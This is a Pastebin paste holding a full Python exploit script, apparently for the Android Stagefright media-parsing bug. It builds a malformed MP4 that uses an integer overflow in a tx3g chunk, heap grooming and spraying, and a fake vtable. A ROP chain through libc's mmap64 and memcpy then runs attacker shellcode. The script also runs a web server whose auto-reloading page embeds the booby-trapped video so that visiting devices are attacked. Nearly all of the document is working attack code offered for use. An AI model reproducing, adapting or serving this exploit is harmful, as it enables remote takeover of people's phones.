Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2015
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.33 KB | None | 0 0
  1. #!/usr/bin/python2
  2.  
  3. import cherrypy
  4. import os
  5. import pwnlib.asm as asm
  6. import pwnlib.elf as elf
  7. import sys
  8. import struct
  9.  
  10.  
  11. with open('shellcode.bin', 'rb') as tmp:
  12. shellcode = tmp.read()
  13.  
  14. while len(shellcode) % 4 != 0:
  15. shellcode += '\x00'
  16.  
  17. # heap grooming configuration
  18. alloc_size = 0x20
  19. groom_count = 0x4
  20. spray_size = 0x100000
  21. spray_count = 0x10
  22.  
  23. # address of the buffer we allocate for our shellcode
  24. mmap_address = 0x90000000
  25.  
  26. # addresses that we need to predict
  27. libc_base = 0xb6ebd000
  28. spray_address = 0xb3000000
  29.  
  30. # ROP gadget addresses
  31. stack_pivot = None
  32. pop_pc = None
  33. pop_r0_r1_r2_r3_pc = None
  34. pop_r4_r5_r6_r7_pc = None
  35. ldr_lr_bx_lr = None
  36. ldr_lr_bx_lr_stack_pad = 0
  37. mmap64 = None
  38. memcpy = None
  39.  
  40. def find_arm_gadget(e, gadget):
  41. gadget_bytes = asm.asm(gadget, arch='arm')
  42. gadget_address = None
  43. for address in e.search(gadget_bytes):
  44. if address % 4 == 0:
  45. gadget_address = address
  46. if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
  47. print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
  48. break
  49. return gadget_address
  50.  
  51. def find_thumb_gadget(e, gadget):
  52. gadget_bytes = asm.asm(gadget, arch='thumb')
  53. gadget_address = None
  54. for address in e.search(gadget_bytes):
  55. if address % 2 == 0:
  56. gadget_address = address + 1
  57. if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
  58. print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
  59. break
  60. return gadget_address
  61.  
  62. def find_gadget(e, gadget):
  63. gadget_address = find_thumb_gadget(e, gadget)
  64. if gadget_address is not None:
  65. return gadget_address
  66. return find_arm_gadget(e, gadget)
  67.  
  68. def find_rop_gadgets(path):
  69. global memcpy
  70. global mmap64
  71. global stack_pivot
  72. global pop_pc
  73. global pop_r0_r1_r2_r3_pc
  74. global pop_r4_r5_r6_r7_pc
  75. global ldr_lr_bx_lr
  76. global ldr_lr_bx_lr_stack_pad
  77.  
  78. e = elf.ELF(path)
  79. e.address = libc_base
  80.  
  81. memcpy = e.symbols['memcpy']
  82. print '[*] memcpy : 0x{:08x}'.format(memcpy)
  83. mmap64 = e.symbols['mmap64']
  84. print '[*] mmap64 : 0x{:08x}'.format(mmap64)
  85.  
  86. # .text:00013344 ADD R2, R0, #0x4C
  87. # .text:00013348 LDMIA R2, {R4-LR}
  88. # .text:0001334C TEQ SP, #0
  89. # .text:00013350 TEQNE LR, #0
  90. # .text:00013354 BEQ botch_0
  91. # .text:00013358 MOV R0, R1
  92. # .text:0001335C TEQ R0, #0
  93. # .text:00013360 MOVEQ R0, #1
  94. # .text:00013364 BX LR
  95.  
  96. pivot_asm = ''
  97. pivot_asm += 'add r2, r0, #0x4c\n'
  98. pivot_asm += 'ldmia r2, {r4 - lr}\n'
  99. pivot_asm += 'teq sp, #0\n'
  100. pivot_asm += 'teqne lr, #0'
  101. stack_pivot = find_arm_gadget(e, pivot_asm)
  102. print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
  103.  
  104. pop_pc_asm = 'pop {pc}'
  105. pop_pc = find_gadget(e, pop_pc_asm)
  106. print '[*] pop_pc : 0x{:08x}'.format(pop_pc)
  107.  
  108. pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  109. print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)
  110.  
  111. pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  112. print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)
  113.  
  114. ldr_lr_bx_lr_stack_pad = 0
  115. for i in range(0, 0x100, 4):
  116. ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
  117. ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
  118. ldr_lr_bx_lr_asm += 'bx lr'
  119. ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
  120. if ldr_lr_bx_lr is not None:
  121. ldr_lr_bx_lr_stack_pad = i
  122. break
  123.  
  124. def pad(size):
  125. return '#' * size
  126.  
  127. def pb32(val):
  128. return struct.pack(">I", val)
  129.  
  130. def pb64(val):
  131. return struct.pack(">Q", val)
  132.  
  133. def p32(val):
  134. return struct.pack("<I", val)
  135.  
  136. def p64(val):
  137. return struct.pack("<Q", val)
  138.  
  139. def chunk(tag, data, length=0):
  140. if length == 0:
  141. length = len(data) + 8
  142. if length > 0xffffffff:
  143. return pb32(1) + tag + pb64(length)+ data
  144. return pb32(length) + tag + data
  145.  
  146. def alloc_avcc(size):
  147. avcc = 'A' * size
  148. return chunk('avcC', avcc)
  149.  
  150. def alloc_hvcc(size):
  151. hvcc = 'H' * size
  152. return chunk('hvcC', hvcc)
  153.  
  154. def sample_table(data):
  155. stbl = ''
  156. stbl += chunk('stco', '\x00' * 8)
  157. stbl += chunk('stsc', '\x00' * 8)
  158. stbl += chunk('stsz', '\x00' * 12)
  159. stbl += chunk('stts', '\x00' * 8)
  160. stbl += data
  161. return chunk('stbl', stbl)
  162.  
  163. def memory_leak(size):
  164. pssh = 'leak'
  165. pssh += 'L' * 16
  166. pssh += pb32(size)
  167. pssh += 'L' * size
  168. return chunk('pssh', pssh)
  169.  
  170. def heap_spray(size):
  171. pssh = 'spry'
  172. pssh += 'S' * 16
  173. pssh += pb32(size)
  174.  
  175. page = ''
  176.  
  177. nop = asm.asm('nop', arch='thumb')
  178. while len(page) < 0x100:
  179. page += nop
  180. page += shellcode
  181. while len(page) < 0xed0:
  182. page += '\xcc'
  183.  
  184. # MPEG4DataSource fake vtable
  185. page += p32(stack_pivot)
  186.  
  187. # pivot swaps stack then returns to pop {pc}
  188. page += p32(pop_r0_r1_r2_r3_pc)
  189.  
  190. # mmap64(mmap_address,
  191. # 0x1000,
  192. # PROT_READ | PROT_WRITE | PROT_EXECUTE,
  193. # MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  194. # -1,
  195. # 0);
  196.  
  197. page += p32(mmap_address) # r0 = address
  198. page += p32(0x1000) # r1 = size
  199. page += p32(7) # r2 = protection
  200. page += p32(0x32) # r3 = flags
  201. page += p32(ldr_lr_bx_lr) # pc
  202.  
  203. page += pad(ldr_lr_bx_lr_stack_pad)
  204. page += p32(pop_r4_r5_r6_r7_pc) # lr
  205. page += pad(4)
  206.  
  207. page += p32(0x44444444) # r4
  208. page += p32(0x55555555) # r5
  209. page += p32(0x66666666) # r6
  210. page += p32(0x77777777) # r7
  211. page += p32(mmap64) # pc
  212.  
  213. page += p32(0xffffffff) # fd (and then r4)
  214. page += pad(4) # padding (and then r5)
  215. page += p64(0) # offset (and then r6, r7)
  216. page += p32(pop_r0_r1_r2_r3_pc) # pc
  217.  
  218. # memcpy(shellcode_address,
  219. # spray_address + len(rop_stack),
  220. # len(shellcode));
  221.  
  222. page += p32(mmap_address) # r0 = dst
  223. page += p32(spray_address - 0xed0) # r1 = src
  224. page += p32(0xed0) # r2 = size
  225. page += p32(0x33333333) # r3
  226. page += p32(ldr_lr_bx_lr) # pc
  227.  
  228. page += pad(ldr_lr_bx_lr_stack_pad)
  229. page += p32(pop_r4_r5_r6_r7_pc) # lr
  230. page += pad(4)
  231.  
  232. page += p32(0x44444444) # r4
  233. page += p32(0x55555555) # r5
  234. page += p32(0x66666666) # r6
  235. page += p32(0x77777777) # r7
  236. page += p32(memcpy) # pc
  237.  
  238. page += p32(0x44444444) # r4
  239. page += p32(0x55555555) # r5
  240. page += p32(0x66666666) # r6
  241. page += p32(0x77777777) # r7
  242. page += p32(mmap_address + 1) # pc
  243.  
  244. while len(page) < 0x1000:
  245. page += '#'
  246.  
  247. pssh += page * (size // 0x1000)
  248.  
  249. return chunk('pssh', pssh)
  250.  
  251. def exploit_mp4():
  252. ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
  253.  
  254. trak = ''
  255.  
  256. # heap spray so we have somewhere to land our corrupted vtable
  257. # pointer
  258.  
  259. # yes, we wrap this in a sample_table for a reason; the
  260. # NuCachedSource we will be using otherwise triggers calls to mmap,
  261. # leaving our large allocations non-contiguous and making our chance
  262. # of failure pretty high. wrapping in a sample_table means that we
  263. # wrap the NuCachedSource with an MPEG4Source, making a single
  264. # allocation that caches all the data, doubling our heap spray
  265. # effectiveness :-)
  266. trak += sample_table(heap_spray(spray_size) * spray_count)
  267.  
  268. # heap groom for our MPEG4DataSource corruption
  269.  
  270. # get the default size allocations for our MetaData::typed_data
  271. # groom allocations out of the way first, by allocating small blocks
  272. # instead.
  273. trak += alloc_avcc(8)
  274. trak += alloc_hvcc(8)
  275.  
  276. # we allocate the initial tx3g chunk here; we'll use the integer
  277. # overflow so that the allocated buffer later is smaller than the
  278. # original size of this chunk, then overflow all of the following
  279. # MPEG4DataSource object and the following pssh allocation; hence why
  280. # we will need the extra groom allocation (so we don't overwrite
  281. # anything sensitive...)
  282.  
  283. # | tx3g | MPEG4DataSource | pssh |
  284. overflow = 'A' * 24
  285.  
  286. # | tx3g ----------------> | pssh |
  287. overflow += p32(spray_address) # MPEG4DataSource vtable ptr
  288. overflow += '0' * 0x48
  289. overflow += '0000' # r4
  290. overflow += '0000' # r5
  291. overflow += '0000' # r6
  292. overflow += '0000' # r7
  293. overflow += '0000' # r8
  294. overflow += '0000' # r9
  295. overflow += '0000' # r10
  296. overflow += '0000' # r11
  297. overflow += '0000' # r12
  298. overflow += p32(spray_address + 0x20) # sp
  299. overflow += p32(pop_pc) # lr
  300.  
  301. trak += chunk("tx3g", overflow)
  302.  
  303. # defragment the for alloc_size blocks, then make our two
  304. # allocations. we end up with a spurious block in the middle, from
  305. # the temporary ABuffer deallocation.
  306.  
  307. # | pssh | - | pssh |
  308. trak += memory_leak(alloc_size) * groom_count
  309.  
  310. # | pssh | - | pssh | .... | avcC |
  311. trak += alloc_avcc(alloc_size)
  312.  
  313. # | pssh | - | pssh | .... | avcC | hvcC |
  314. trak += alloc_hvcc(alloc_size)
  315.  
  316. # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  317. trak += memory_leak(alloc_size) * 8
  318.  
  319. # | pssh | - | pssh | pssh | avcC | .... |
  320. trak += alloc_hvcc(alloc_size * 2)
  321.  
  322. # entering the stbl chunk triggers allocation of an MPEG4DataSource
  323. # object
  324.  
  325. # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  326. stbl = ''
  327.  
  328. # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  329. stbl += alloc_avcc(alloc_size * 2)
  330.  
  331. # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  332. # | pssh | - | pssh | pssh | tx3g ----------------> |
  333. overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
  334. stbl += chunk("tx3g", '', length = overflow_length)
  335.  
  336. trak += chunk('stbl', stbl)
  337.  
  338. return ftyp + chunk('trak', trak)
  339.  
  340. index_page = '''
  341. <!DOCTYPE html>
  342. <html>
  343. <head>
  344. <title>Stagefrightened!</title>
  345. </head>
  346. <body>
  347. <script>
  348. window.setTimeout('location.reload(true);', 4000);
  349. </script>
  350. <iframe src='/exploit.mp4'></iframe>
  351. </body>
  352. </html>
  353. '''
  354.  
  355. class ExploitServer(object):
  356.  
  357. exploit_file = None
  358. exploit_count = 0
  359.  
  360. @cherrypy.expose
  361. def index(self):
  362. self.exploit_count += 1
  363. print '*' * 80
  364. print 'exploit attempt: ' + str(self.exploit_count)
  365. print '*' * 80
  366. return index_page
  367.  
  368. @cherrypy.expose(["exploit.mp4"])
  369. def exploit(self):
  370. cherrypy.response.headers['Content-Type'] = 'video/mp4'
  371. cherrypy.response.headers['Content-Encoding'] = 'gzip'
  372.  
  373. if self.exploit_file is None:
  374. exploit_uncompressed = exploit_mp4()
  375. with open('exploit_uncompressed.mp4', 'wb') as tmp:
  376. tmp.write(exploit_uncompressed)
  377. os.system('gzip exploit_uncompressed.mp4')
  378. with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
  379. self.exploit_file = tmp.read()
  380. os.system('rm exploit_uncompressed.mp4.gz')
  381.  
  382. return self.exploit_file
  383.  
  384. def main():
  385. find_rop_gadgets('libc.so')
  386. with open('exploit.mp4', 'wb') as tmp:
  387. tmp.write(exploit_mp4())
  388. cherrypy.quickstart(ExploitServer())
  389.  
  390. if __name__ == '__main__':
  391. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement